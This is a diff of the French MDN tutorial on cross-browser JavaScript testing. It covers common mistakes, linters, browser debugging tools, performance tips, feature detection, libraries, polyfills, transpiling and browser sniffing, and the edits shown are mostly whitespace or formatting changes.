one](https://github.com/mdn/learning-area/blob/7ed039d17e820c93cafaff541aa65d874dde8323/javascript/oojs/assessment/main.js#L143), qui présente un modèle typique de sauvegarde du périmètre de `this` dans une variable séparée, puis utilise cette variable dans une fonction imbriquée pour que vous soyez sûr que vous appliquez la fonction au bon périmètre de `this`. -- Utiliser les fonctions de manière incorrecte dans les boucles — par exemple, dans [bad-for-loop.html](https://mdn.github.io/learning-area/tools-testing/cross-browser-testing/javascript/bad-for-loop.html) (voir [code source](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/bad-for-loop.html)), on boucle sur 10 itérations, à chaque fois on créé un paragraphe et on y ajoute un évènement gestionnaire [onclick](/fr/docs/Web/API/GlobalEventHandlers/onclick). Lorsqu'ils sont cliqués, chacun d'entre eux doit fournir un message d'alerte contenant son numéro (la valeur de `i` au moment où il était créé), cependant chacun d'entre eux retourne `i` comme 11, parce que les boucle for font toutes leurs itérations avant que les fonctions imbriquées ne soit appelées. Si vous voulez que ça marche correctement, vous devez définir une fonction pour ajouter le gestionnaire séparément, l'appellant à chaque itération et lui passer la valeur courante de `para` et `i` à chaque fois (ou quelque chose de similaire). Voir [good-for-loop.html](https://mdn.github.io/learning-area/tools-testing/cross-browser-testing/javascript/good-for-loop.html) (voir également le [code source](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/good-for-loop.html)) pour une version qui fonctionne. +- Utiliser les fonctions de manière incorrecte dans les boucles — par exemple, dans [bad-for-loop.html](https://mdn.github.io/learning-area/tools-testing/cross-browser-testing/javascript/bad-for-loop.html) (voir [code source](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/bad-for-loop.html)), on boucle sur 10 itérations, à chaque fois on créé un paragraphe et on y ajoute un évènement gestionnaire [onclick](/fr/docs/Web/API/GlobalEventHandlers/onclick). Lorsqu'ils sont cliqués, chacun d'entre eux doit fournir un message d'alerte contenant son numéro (la valeur de `i` au moment où il était créé), cependant chacun d'entre eux retourne `i` comme 11, parce que les boucle for font toutes leurs itérations avant que les fonctions imbriquées ne soit appelées. Si vous voulez que ça marche correctement, vous devez définir une fonction pour ajouter le gestionnaire séparément, l'appellant à chaque itération et lui passer la valeur courante de `para` et `i` à chaque fois (ou quelque chose de similaire). Voir [good-for-loop.html](https://mdn.github.io/learning-area/tools-testing/cross-browser-testing/javascript/good-for-loop.html) (voir également le [code source](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/good-for-loop.html)) pour une version qui fonctionne. - S'assurer que les opérations asynchrones sont retournées avant d'essayer d'utiliser les valeurs qu'elles retournent. Par exemple, [cet exemple Ajax](/fr/docs/Web/Guide/AJAX/Premiers_pas#.C3.89tape_3_.E2.80.94_Un_exemple_simple) vérifie que la requête est complète et que la réponse a été retournée avant qu'on ait essayé d'utiliser cette réponse pour quoi que ce soit. Ce type d'opération a été rendue plus simple à gérer grâce à l'introduction des [Promises](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) dans le langage JavaScript. > **Note :** [Buggy JavaScript Code: The 10 Most Common Mistakes JavaScript Developers Make](https://www.toptal.com/javascript/10-most-common-javascript-mistakes) a des discussions intéressantes à propos de ces erreurs courantes et plus encore. ### Les linters -Comme avec [le HTML et le CSS](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_et_CSS#Les_linters), vous pouvez garantir une meilleure qualité, vous êtes moins susceptible de faire des erreurs en utilisant un linter, qui vous signale les erreurs et met en évidence les avertissement concernant les mauvaises pratiques, etc., et peut être configuré pour être plus stricte ou plus coulant dans leurs rapport d'erreur/avertissement. Les linters JavaScript/ECMAScript que nous vous recommandons sont [JSHint](http://jshint.com/) et [ESLint](http://eslint.org/) ; ils peuvent être utilisés de différentes façons, nous détaillerons certaines d'entre elles plus bas. +Comme avec [le HTML et le CSS](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_et_CSS#Les_linters), vous pouvez garantir une meilleure qualité, vous êtes moins susceptible de faire des erreurs en utilisant un linter, qui vous signale les erreurs et met en évidence les avertissement concernant les mauvaises pratiques, etc., et peut être configuré pour être plus stricte ou plus coulant dans leurs rapport d'erreur/avertissement. Les linters JavaScript/ECMAScript que nous vous recommandons sont [JSHint](http://jshint.com/) et [ESLint](http://eslint.org/) ; ils peuvent être utilisés de différentes façons, nous détaillerons certaines d'entre elles plus bas. #### En ligne @@ -102,15 +102,15 @@ Pour l'installer : #### Autres usages -Il y a d'autres façons d'utiliser de tels linter ; vous pouvez vous renseignez à ce propos sur les pages d'installation de [JSHint](http://jshint.com/install/) et [ESLint](http://eslint.org/docs/user-guide/getting-started). +Il y a d'autres façons d'utiliser de tels linter ; vous pouvez vous renseignez à ce propos sur les pages d'installation de [JSHint](http://jshint.com/install/) et [ESLint](http://eslint.org/docs/user-guide/getting-started). -Il convient de mentionner l'utilisation de ligne de commande — vous pouvez installer ces outils avec les utilitaires de ligne de commande (disponible via ILC — interface de ligne de commande) en utilisant npm (Node Package Manager — vous devrez installer [NodeJS](https://nodejs.org/en/) en premier). Par exemple, la ligne de commande suivante installe JSHint : +Il convient de mentionner l'utilisation de ligne de commande — vous pouvez installer ces outils avec les utilitaires de ligne de commande (disponible via ILC — interface de ligne de commande) en utilisant npm (Node Package Manager — vous devrez installer [NodeJS](https://nodejs.org/en/) en premier). Par exemple, la ligne de commande suivante installe JSHint : ```bash npm install -g jshint ``` -Vous pouvez ensuite indiquer à ces outils les fichiers JavaScript que vous voulez lint, par exemple :Vous pouvez également utiliser ces outils avec un exécuteur de tâche/outil de build comme [Gulp](http://gulpjs.com/) ou [Webpack](https://webpack.github.io/) pour linter automatiquement votre JavaScript pendant le développement. (voir [Using a task runner to automate testing tools](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing#Using_a_task_runner_to_automate_testing_tools) dans un article ultérieur). Voir [ESLint integrations](http://eslint.org/docs/user-guide/integrations) pour les options de ESLint ; JSHint est supporté nativement par Grunt, et a également d'autre intégrations possibles, par ex. [JSHint loader for Webpack](https://github.com/webpack/jshint-loader). +Vous pouvez ensuite indiquer à ces outils les fichiers JavaScript que vous voulez lint, par exemple :Vous pouvez également utiliser ces outils avec un exécuteur de tâche/outil de build comme [Gulp](http://gulpjs.com/) ou [Webpack](https://webpack.github.io/) pour linter automatiquement votre JavaScript pendant le développement. (voir [Using a task runner to automate testing tools](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing#Using_a_task_runner_to_automate_testing_tools) dans un article ultérieur). Voir [ESLint integrations](http://eslint.org/docs/user-guide/integrations) pour les options de ESLint ; JSHint est supporté nativement par Grunt, et a également d'autre intégrations possibles, par ex. [JSHint loader for Webpack](https://github.com/webpack/jshint-loader). > **Note :** ESLint prend un peu plus de temps à l'installation et à la configuration que JSHint, mais il est également plus puissant. @@ -118,7 +118,7 @@ Vous pouvez ensuite indiquer à ces outils les fichiers JavaScript que vous voul Les outils de développement des navigateurs ont beaucoup de fonctionnalités utiles pour aider à déboguer JavaScript. Pour commencer, la console JavaScript reportera les erreurs dans votre code. -Faîtes une copie locale de notre exemple [broken-ajax.html](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/broken-ajax.html) (voir aussi le [code source](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/broken-ajax.html)). Si vous regardez dans la console, vous verrez le résultat suivant : +Faîtes une copie locale de notre exemple [broken-ajax.html](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/broken-ajax.html) (voir aussi le [code source](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/broken-ajax.html)). Si vous regardez dans la console, vous verrez le résultat suivant :  @@ -150,7 +150,7 @@ Mais cela échoue. #### L'API Console -Vous savez peut-être déjà ce qui ne va pas avec ce code, mais analysons-le un peu plus pour vous montrer comment vous pouvez l'examiner. Premièrement, il y a une API [Console](/fr/docs/Web/API/Console) qui permet au code JavaScript d'interragir avec la console JavaScript du navigateur. Il y a un nombre de fonctionnalités disponibles, mais la principale que vous utiliserez le plus souvent est [`console.log()`](/fr/docs/Web/API/Console/log), qui affiche un message d'erreur personnalisé dans la console. +Vous savez peut-être déjà ce qui ne va pas avec ce code, mais analysons-le un peu plus pour vous montrer comment vous pouvez l'examiner. Premièrement, il y a une API [Console](/fr/docs/Web/API/Console) qui permet au code JavaScript d'interragir avec la console JavaScript du navigateur. Il y a un nombre de fonctionnalités disponibles, mais la principale que vous utiliserez le plus souvent est [`console.log()`](/fr/docs/Web/API/Console/log), qui affiche un message d'erreur personnalisé dans la console. Essayer d'insérer la ligne suivante juste avant la ligne 31 (en gras au-dessus) : @@ -188,7 +188,7 @@ En résumé, à chaque fois que quelque chose ne marche pas et qu'une valeur ne Nous avons résolu un problème, mais nous sommes toujours coincés avec le message d'erreur "TypeError: heroes is undefined", reporté à la ligne 51. Examinons-la maintenant, en utilisant une fonctionnalité plus sophistiquée des outils de développement web : le [débogueur JavaScript](/fr/docs/Outils/D%C3%A9bogueur) comme il est appellé dans Firefox. -> **Note :** Des outils similaires sont disponibles dans d'autres navigateurs ; le [Sources tab](https://developers.google.com/web/tools/chrome-devtools/#sources) dans Chrome, le Débogueur dans Safari (voir [Safari Web Development Tools](https://developer.apple.com/safari/tools/)), etc. +> **Note :** Des outils similaires sont disponibles dans d'autres navigateurs ; le [Sources tab](https://developers.google.com/web/tools/chrome-devtools/#sources) dans Chrome, le Débogueur dans Safari (voir [Safari Web Development Tools](https://developer.apple.com/safari/tools/)), etc. Dans Firefox, le Débogueur se présente comme suit : @@ -224,11 +224,11 @@ Ici, nous pouvons obtenir des informations très utiles. Dès que vos applis vont devenir plus complexes vous allez commencer à utiliser plus de JavaScript, vous pouvez commencer à rencontrer des problèmes de performances, particulièrement lorsque vous visionnez vos applis sur des appareils plus lents. La performance est un gros sujet, et nous n'avons pas le temps de le couvrir en détail ici. Voici quelques conseils rapides : - Eviter de charger plus de JavaSacript que nécessaire, réunissez vos scripts dans un seul fichier en utilisant une solution comme [Browserify](http://browserify.org/). En général, réduire le nombre de requêtes HTTP est très bon pour la performance. -- S'assurer que vos fichiers sont le plus petits en les minifiant avant de les charger sur votre serveur de production. Minifier réduit tout le code en une seule et immense ligne, donnant au fichier une taille beaucoup moins importante. C'est vilain, mais vous n'avez pas besoin de la lire lorsque c'est terminé ! Cette tâche est la mieux réalisée avec un outil de minification comme [Uglify](https://github.com/mishoo/UglifyJS2) (il y aussi une version en ligne — voir [JSCompress.com](https://jscompress.com/)). +- S'assurer que vos fichiers sont le plus petits en les minifiant avant de les charger sur votre serveur de production. Minifier réduit tout le code en une seule et immense ligne, donnant au fichier une taille beaucoup moins importante. C'est vilain, mais vous n'avez pas besoin de la lire lorsque c'est terminé ! Cette tâche est la mieux réalisée avec un outil de minification comme [Uglify](https://github.com/mishoo/UglifyJS2) (il y aussi une version en ligne — voir [JSCompress.com](https://jscompress.com/)). - Lorsque que vous utilisez des APIs, assurez-vous de désactiver les fonctionnalités de l'API quand elles ne sont pas utilisées ; certains appels d'API peuvent être très coûteux en puissance de traitement. Par exemple, lorsque vous montrez un stream video, assurez-vous que s'est désactivé quand vous ne pouvez pas le voir. Quand vous tracer la localisation d'un appareil en utilisant des appels répétés de Géolocalisation, assurez-vous de le désactiver quand l'utilisateur arrête de l'utiliser. -- Les animations peuvent être très coûteuses pour la performance. Beaucoup de librairies JavaScript fournissent des possibilités d'animation programmée avec JavaScript, mais c'est beaucoup plus rentable de faire les animations via les fonctionnalités natives des navigateurs comme [les Animations CSS](/fr/docs/Web/CSS/Animations_CSS) (ou la naissante [Web Animations API](/fr/docs/Web/API/Web_Animations_API)) qu'en JavaScript. Lisez [Animating like you just don’t care with Element.animate](https://hacks.mozilla.org/2016/08/animating-like-you-just-dont-care-with-element-animate/) pour des théories très utiles sur l'animation coûteuse, des conseils sur comment améliorer la performance des animations, et des informations à propos de l'API Web Animations. +- Les animations peuvent être très coûteuses pour la performance. Beaucoup de librairies JavaScript fournissent des possibilités d'animation programmée avec JavaScript, mais c'est beaucoup plus rentable de faire les animations via les fonctionnalités natives des navigateurs comme [les Animations CSS](/fr/docs/Web/CSS/Animations_CSS) (ou la naissante [Web Animations API](/fr/docs/Web/API/Web_Animations_API)) qu'en JavaScript. Lisez [Animating like you just don’t care with Element.animate](https://hacks.mozilla.org/2016/08/animating-like-you-just-dont-care-with-element-animate/) pour des théories très utiles sur l'animation coûteuse, des conseils sur comment améliorer la performance des animations, et des informations à propos de l'API Web Animations. -> **Note :** Le [Writing Fast, Memory-Efficient JavaScript](https://www.smashingmagazine.com/2012/11/writing-fast-memory-efficient-javascript/ "Read 'Writing Fast, Memory-Efficient JavaScript'") de Addy Osmani contient beaucoup de détails et de astuces impeccables pour améliorer les performances en JavaScript. +> **Note :** Le [Writing Fast, Memory-Efficient JavaScript](https://www.smashingmagazine.com/2012/11/writing-fast-memory-efficient-javascript/ "Read 'Writing Fast, Memory-Efficient JavaScript'") de Addy Osmani contient beaucoup de détails et de astuces impeccables pour améliorer les performances en JavaScript. ## Les problèmes JavaScript en navigateur croisé @@ -267,7 +267,7 @@ Il y a plusieurs stratégies pour gérer les incompatibilités entre navigateurs #### Fonctionnalité de détection -L'idée derrière une fonctionnalité de détection est que vous pouvez exécuter un test pour déterminer si une fonctionnalité est supportée dans le navigateur courant, et ensuite exécuter conditionnellement un code pour fournir une expérience acceptable sur chaque navigateur qui supporte et ne supporte pas la fonctionnalité. A titre d'exemple rapide, l'[API Geolocalisation](/fr/docs/Using_geolocation) (qui présente des données de localisation pour l'appareil sur lequel le navigateur est en train d'être exécuté) a un point d'entrée principal pour son utilisation — une propriété `geolocation` disponible dans l'objet global [Navigator](/fr/docs/Web/API/Navigator). Par conséquent, vous pouvez détecter si le navigateur supporte la géolocalisation ou non en utilisant quelque chose comme suit : +L'idée derrière une fonctionnalité de détection est que vous pouvez exécuter un test pour déterminer si une fonctionnalité est supportée dans le navigateur courant, et ensuite exécuter conditionnellement un code pour fournir une expérience acceptable sur chaque navigateur qui supporte et ne supporte pas la fonctionnalité. A titre d'exemple rapide, l'[API Geolocalisation](/fr/docs/Using_geolocation) (qui présente des données de localisation pour l'appareil sur lequel le navigateur est en train d'être exécuté) a un point d'entrée principal pour son utilisation — une propriété `geolocation` disponible dans l'objet global [Navigator](/fr/docs/Web/API/Navigator). Par conséquent, vous pouvez détecter si le navigateur supporte la géolocalisation ou non en utilisant quelque chose comme suit : ```js if("geolocation" in navigator) { @@ -283,7 +283,7 @@ Vous pouvez également écrire un test de ce type pour une fonctionnalité CSS, Enfin, ne confondez pas fonction de détection avec **le détecteur navigateur** (qui détecte quel navigateur en particulier accède au site) — c'est une terrible pratique qui devrait être découragée à tout prix. Voir {{anch("Using bad browser sniffing code")}}, plus tard, pour plus de détails. -> **Note :** Certaines fonctionnalités sont connues pour être indétectables — voir la liste des [Undetectables](https://github.com/Modernizr/Modernizr/wiki/Undetectables) de Modernizr. +> **Note :** Certaines fonctionnalités sont connues pour être indétectables — voir la liste des [Undetectables](https://github.com/Modernizr/Modernizr/wiki/Undetectables) de Modernizr. > **Note :** La fonction de détection sera couverte avec beaucoup plus de détails dans son propre article dédié, plus tard dans le module. @@ -294,10 +294,10 @@ Les librairies JavaScript sont essentiellement une partie externe d'unités de c Les librairies Javascript ont tendance à se réunir en quelques types principaux (certaines librairies serviront plus d'un de ces types) : - Les librairies utilitaires : Fournissent une quantité de fonctions pour rendre les tâches sans intérêts plus simples et moins ennuyantes à gérer. [jQuery](http://jquery.com/) par exemple fournit son propre système de sélecteurs et de librairies de manipulation de DOM, pour permettre le choix du type de sélecteur CSS, des éléments en JavaScript et une construction du DOM plus simple. Ce n'est plus aussi important aujourd'hui nous avons des fonctionnalités modernes comme les méthodes {{domxref("Document.querySelector()")}}/{{domxref("Document.querySelectorAll()")}}/{{domxref("Node")}} disponibles selon les navigateurs, mais ça peut toujours être utile quand vous avez besoin de supporter de plus vieux navigateurs. -- Les librairies de confort : Rendent les choses difficiles plus facile à faire. Par exemple, l'[API WebGL](/fr/Apprendre/WebGL) est vraiment complexe et se révèle difficile à écrire directement, alors la librairie [Three.js](https://threejs.org/) (et d'autres) est construite au-dessus de WebGL et apporte une API plus simple pour créer des objets 3D courants, des aspects, des textures etc. L'[API Service Worker](/fr/docs/Web/API/Service_Worker_API) est aussi très complexe à utiliser, alors des librairies de code ont commencé à apparaitre pour rendre des cas d'usage des Service Worker plus facile à implémenter (voir le [Service Worker Cookbook](https://serviceworke.rs/) pour plusieurs extrait de code utiles). +- Les librairies de confort : Rendent les choses difficiles plus facile à faire. Par exemple, l'[API WebGL](/fr/Apprendre/WebGL) est vraiment complexe et se révèle difficile à écrire directement, alors la librairie [Three.js](https://threejs.org/) (et d'autres) est construite au-dessus de WebGL et apporte une API plus simple pour créer des objets 3D courants, des aspects, des textures etc. L'[API Service Worker](/fr/docs/Web/API/Service_Worker_API) est aussi très complexe à utiliser, alors des librairies de code ont commencé à apparaitre pour rendre des cas d'usage des Service Worker plus facile à implémenter (voir le [Service Worker Cookbook](https://serviceworke.rs/) pour plusieurs extrait de code utiles). - Les librairies d'effets : Ces librairies sont conçues pour vous permettre d'ajouter facilement des effets spéciaux à votre site web. C'était plus utile quand {{glossary("DHTML")}} était à la mode, et implémentait des effets impliquant beaucoup de JavaScript complexe, mais de nos jours les navigateurs ont construit une quantité de fonctionnalités en CSS3 et des APIs pour implémenter les effets plus facilement. Pour une liste de librairies, se référer à [JavaScripting.com/animation](https://www.javascripting.com/animation/). -- Les librairies d'UI : Fournissent des méthodes pour implémenter des fonctionnalités UI complexes qui serait autrement compliquées à implémenter et à faire fonctionner en navigateur croisé, par exemple [jQuery UI](http://jqueryui.com/) et [Foundation](http://foundation.zurb.com/). Elles ont tendance à être utilisées comme les bases de la configuration de sites complets ; c'est souvent difficile de les implémenter uniquement pour une fonctionnalité UI. -- Les librairies de nomalisation : Vous fournissent une syntaxe simple qui vous permet de compléter facilement une tâche sans avoir à vous soucier des différences entre navigateur. la librairie utilisera les APIs appopriées en arrière-plan donc la fonctionnalité marchera qu'importe le navigateur (en théorie). Par exemple, [LocalForage](https://github.com/localForage/localForage) est une librairie pour le stockage de données côté client, qui fournit une syntaxe simple pour stocker et extraire les données. En arrière-plan, elle utilise la meilleure API que la navigateur possède pour stocker les données, que ça soit [IndexedDB](/fr/docs/Web/API/API_IndexedDB), [Web Storage](/fr/docs/Web/API/Web_Storage_API), ou encore WebSQL (qui est maintenant désapprouvée, mais qui est encore supportée dans certaines vieilles versions de Safari/IE). Comme autre exemple, JQuery. +- Les librairies d'UI : Fournissent des méthodes pour implémenter des fonctionnalités UI complexes qui serait autrement compliquées à implémenter et à faire fonctionner en navigateur croisé, par exemple [jQuery UI](http://jqueryui.com/) et [Foundation](http://foundation.zurb.com/). Elles ont tendance à être utilisées comme les bases de la configuration de sites complets ; c'est souvent difficile de les implémenter uniquement pour une fonctionnalité UI. +- Les librairies de nomalisation : Vous fournissent une syntaxe simple qui vous permet de compléter facilement une tâche sans avoir à vous soucier des différences entre navigateur. la librairie utilisera les APIs appopriées en arrière-plan donc la fonctionnalité marchera qu'importe le navigateur (en théorie). Par exemple, [LocalForage](https://github.com/localForage/localForage) est une librairie pour le stockage de données côté client, qui fournit une syntaxe simple pour stocker et extraire les données. En arrière-plan, elle utilise la meilleure API que la navigateur possède pour stocker les données, que ça soit [IndexedDB](/fr/docs/Web/API/API_IndexedDB), [Web Storage](/fr/docs/Web/API/Web_Storage_API), ou encore WebSQL (qui est maintenant désapprouvée, mais qui est encore supportée dans certaines vieilles versions de Safari/IE). Comme autre exemple, JQuery. Lorsque vous choissisez une librairie pour l'utiliser, assurez-vous qu'elle fonctionne sur l'ensemble des navigateurs que vous voulez supporter, et tester vos implémentations minutieusement. Assurez-vous également que la librairie est répandue et bien supportée, et qu'elle ne va pas devenir obsolète la semaine prochaine. Parler à d'autres développeurs pour savoir ce qu'ils peuvent vous recommander, regarder l'activité et combien de contributeurs la librairie a sur Github (ou qu'importe où elle est stockée), etc. @@ -309,22 +309,22 @@ L'utilisation de librairie à un niveau basique consiste à télécharger les fi #### Les Polyfills -Les polyfills sont aussi des sortes de fichiers JavaScript externes que vous pouvez ajouter à votre projet, mais ils sont différents des librairies — là où les librairies améliorent les fonctionnalités existantes et rendent les choses plus simples, les polyfills apportent des fonctionnalités qui n'existent pas du tout. Les polyfills utilisent JavaScript ou d'autres technologies pour créer entièrement du support pour des fonctionnalités qu'un navigateur ne supporte pas nativement. Par exemple, vous pouvez utiliser un polyfill comme [es6-promise](https://github.com/stefanpenner/es6-promise) pour faire fonctionner les promises sur des navigateurs où elles ne fonctionneraient pas nativement. +Les polyfills sont aussi des sortes de fichiers JavaScript externes que vous pouvez ajouter à votre projet, mais ils sont différents des librairies — là où les librairies améliorent les fonctionnalités existantes et rendent les choses plus simples, les polyfills apportent des fonctionnalités qui n'existent pas du tout. Les polyfills utilisent JavaScript ou d'autres technologies pour créer entièrement du support pour des fonctionnalités qu'un navigateur ne supporte pas nativement. Par exemple, vous pouvez utiliser un polyfill comme [es6-promise](https://github.com/stefanpenner/es6-promise) pour faire fonctionner les promises sur des navigateurs où elles ne fonctionneraient pas nativement. La liste des modernizr [HTML5 Cross Browser Polyfills](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills) est utile pour trouver des polyfills pour différents objectifs. Une fois encore, renseignez-vous sur eux avant de les utiliser — assurez-vous qu'ils fonctionnent et qu'ils sont maintenus. Observons cet exercice — dans cet exemple nous allons utiliser un polyfill Fetch pour fournir du support pour une API Fetch dans de vieux navigateurs ; nous avons toutefois également besoin d'utiliser le polyfill es6-promise, comme Fetch utilise largement les promises, et les navigateurs qui ne les supportent pas seront toujours bloqués. -1. Pour commencer, faîtes une copie locale de notre exemple [fetch-polyfill.html](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/fetch-polyfill.html) et de [notre belle image de fleurs](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/flowers.jpg) dans un nouveau répertoire. Nous allons écrire du code pour récupérer l'image de fleurs et l'afficher sur la page. -2. Ensuite, sauvegarder les copies de [Fetch polyfill](https://raw.githubusercontent.com/github/fetch/master/fetch.js) et de [es6-promises polyfill](https://raw.githubusercontent.com/stefanpenner/es6-promise/master/dist/es6-promise.js) dans le même répertoire que le HTML. -3. Appliquer les scripts de polyfill à la page en utilisant le code suivant — placez-les au-dessus de l'élément {{htmlelement("script")}} existant ainsi ils seront déjà disponibles sur la page quand on essaiera d'utiliser Fetch : +1. Pour commencer, faîtes une copie locale de notre exemple [fetch-polyfill.html](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/fetch-polyfill.html) et de [notre belle image de fleurs](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/flowers.jpg) dans un nouveau répertoire. Nous allons écrire du code pour récupérer l'image de fleurs et l'afficher sur la page. +2. Ensuite, sauvegarder les copies de [Fetch polyfill](https://raw.githubusercontent.com/github/fetch/master/fetch.js) et de [es6-promises polyfill](https://raw.githubusercontent.com/stefanpenner/es6-promise/master/dist/es6-promise.js) dans le même répertoire que le HTML. +3. Appliquer les scripts de polyfill à la page en utilisant le code suivant — placez-les au-dessus de l'élément {{htmlelement("script")}} existant ainsi ils seront déjà disponibles sur la page quand on essaiera d'utiliser Fetch : ```js <script src="es6-promise.js"></script> <script src="fetch.js"></script> ``` -4. Dans le {{htmlelement("script")}} original, ajoutez le code suivant : +4. Dans le {{htmlelement("script")}} original, ajoutez le code suivant : 5. ```js var myImage = document.querySelector('.my-image'); @@ -339,7 +339,7 @@ Observons cet exercice — dans cet exemple nous allons utiliser un polyfill Fet 6. Maintenant si vous le chargez dans un navigateur qui ne supporte pas Fetch (Safari et IE sont des candidats de choix), vous devriez quand même voir l'image de la fleur apparaitre — cool !  -> **Note :** Vous pouvez consulter notre version terminée sur [fetch-polyfill-finished.html](http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/javascript/fetch-polyfill-finished.html) (voir aussi le [code source](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/fetch-polyfill-finished.html)). +> **Note :** Vous pouvez consulter notre version terminée sur [fetch-polyfill-finished.html](http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/javascript/fetch-polyfill-finished.html) (voir aussi le [code source](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/fetch-polyfill-finished.html)). > **Note :** Une fois encore, il y a plusieurs manières différentes d'utiliser les différents polyfills que vous allez rencontrer — consulter chaque documentation individuelle d'un polyfill. @@ -367,7 +367,7 @@ function browserSupportsAllFeatures() { } ``` -Ici on vérifie si l'objet [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) et la fonction [`fetch()`](/fr/docs/Web/API/WindowOrWorkerGlobalScope/fetch) existent dans le navigateur. Si les deux existent, la fonction retourne true. Si la fonction retourne `false`, alors on exécute le code à l'intérieur de la deuxième partie de la condition — elle exécute une fonction appelée loadScript(), qui charge les polyfills dans la page, puis exécute `main()` après que le chargement soit terminé. `loadScript()` ressemble à ça : +Ici on vérifie si l'objet [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) et la fonction [`fetch()`](/fr/docs/Web/API/WindowOrWorkerGlobalScope/fetch) existent dans le navigateur. Si les deux existent, la fonction retourne true. Si la fonction retourne `false`, alors on exécute le code à l'intérieur de la deuxième partie de la condition — elle exécute une fonction appelée loadScript(), qui charge les polyfills dans la page, puis exécute `main()` après que le chargement soit terminé. `loadScript()` ressemble à ça : ```js function loadScript(src, done) { @@ -387,7 +387,7 @@ Cette fonction créé un nouvel élément `<script>`, puis applique son attribut Notez que ce polyfills.js correspond aux deux polyfills que nous utilisons réunis dans un fichier. Nous l'avons fait manuellement, mais il y a des solutions intelligentes qui généreront automatiquement des paquets pour vous — voir [Browserify](http://browserify.org/) (pour un tutoriel de départ voir [Getting started with Browserify](https://www.sitepoint.com/getting-started-browserify/)). C'est une bonne idée de paqueter les fichiers JS en un seul comme ça — cela réduit le nombre de requêtes HTTP ce qui améliore la performance de votre site. -Vous pouvez voir le code en direct sur [fetch-polyfill-only-when-needed.html](http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/javascript/fetch-polyfill-only-when-needed.html) (voir aussi [le code source](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/fetch-polyfill-only-when-needed.html)). Nous aimerions être clairs sur le fait qu'on ne peut s'attribuer ce code — il a été écrit à la base par Philip Walton. Aller voir son article [Loading Polyfills Only When Needed](https://philipwalton.com/articles/loading-polyfills-only-when-needed/) pour le code original, et beaucoup d'explications utiles autour de ce large sujet. +Vous pouvez voir le code en direct sur [fetch-polyfill-only-when-needed.html](http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/javascript/fetch-polyfill-only-when-needed.html) (voir aussi [le code source](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/fetch-polyfill-only-when-needed.html)). Nous aimerions être clairs sur le fait qu'on ne peut s'attribuer ce code — il a été écrit à la base par Philip Walton. Aller voir son article [Loading Polyfills Only When Needed](https://philipwalton.com/articles/loading-polyfills-only-when-needed/) pour le code original, et beaucoup d'explications utiles autour de ce large sujet. > **Note :** Il y a certaines options externes à prendre en considération, par exemple [Polyfill.io](https://polyfill.io/v2/docs/) — c'est une librairie méta-polyfill qui va regarder toutes les capacités de chaque navigateur et appliquer les polyfills nécessaires, selon quelles APIs et fonctionnalités JS vous utilisez dans votre code. @@ -397,7 +397,7 @@ Une autre option qui et devenue populaire pour les gens qui veulent utiliser des > **Note :** Cela s'appelle le "transpiling" — vous n'êtes pas en train de compiler du code à un niveau inférieur pour qu'il soit exécuté sur un ordinateur (comme vous l'auriez fait avec du code C) ; en fait, vous êtes en train de le transformer dans une syntaxe qui existe à un niveau similaire d'abstraction pour qu'il puisse être utilisé de la même manière, mais avec des conditions légèrement différentes (dans ce cas, transformer un type de JavaScript dans un autre). -Pour l'exemple, nous parlions des fonctions fléchées (voir [arrow-function.html](http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/javascript/arrow-function.html) en direct, et voir le [code source](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/arrow-function.html)) plus tôt dans l'article, qui ne marchent que sur les tout nouveaux navigateurs : +Pour l'exemple, nous parlions des fonctions fléchées (voir [arrow-function.html](http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/javascript/arrow-function.html) en direct, et voir le [code source](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/arrow-function.html)) plus tôt dans l'article, qui ne marchent que sur les tout nouveaux navigateurs : ```js () => { ... } @@ -439,7 +439,7 @@ Cependant, le temps passant, les développeurs ont commencé à voir des graves Beaucoup de développeurs on implémenté de mauvais détecteur de code de navigateur et ne l'ont pas maintenu, et les navigateurs ont commencé à être bloqués en allant sur des sites web contenant des fonctionnalités qu'ils avaient déjà implémenté. C'est devenu une pratique commune que les navigateurs commencent à mentir à propos de quel navigateur ils étaient dans leur chaîne d'user-agent (ou déclarer qu'ils étaient tous les navigateurs), pour passer outre les détecteurs de code. Les navigateurs ont également implémenté des moyens pour permettre aux utilisateurs de changer quels chaîne d'user-agent le navigateur doit retourné lorsqu'il est interrogé par du JavaScript. Tout cela fait du détecteur de code bien plus qu'une source d'erreur, et d'inutilité. -> **Note :** Vous devriez lire [History of the browser user-agent string](http://webaim.org/blog/user-agent-string-history/) de Aaron Andersen pour une présentation utile et amusante de cette situation. +> **Note :** Vous devriez 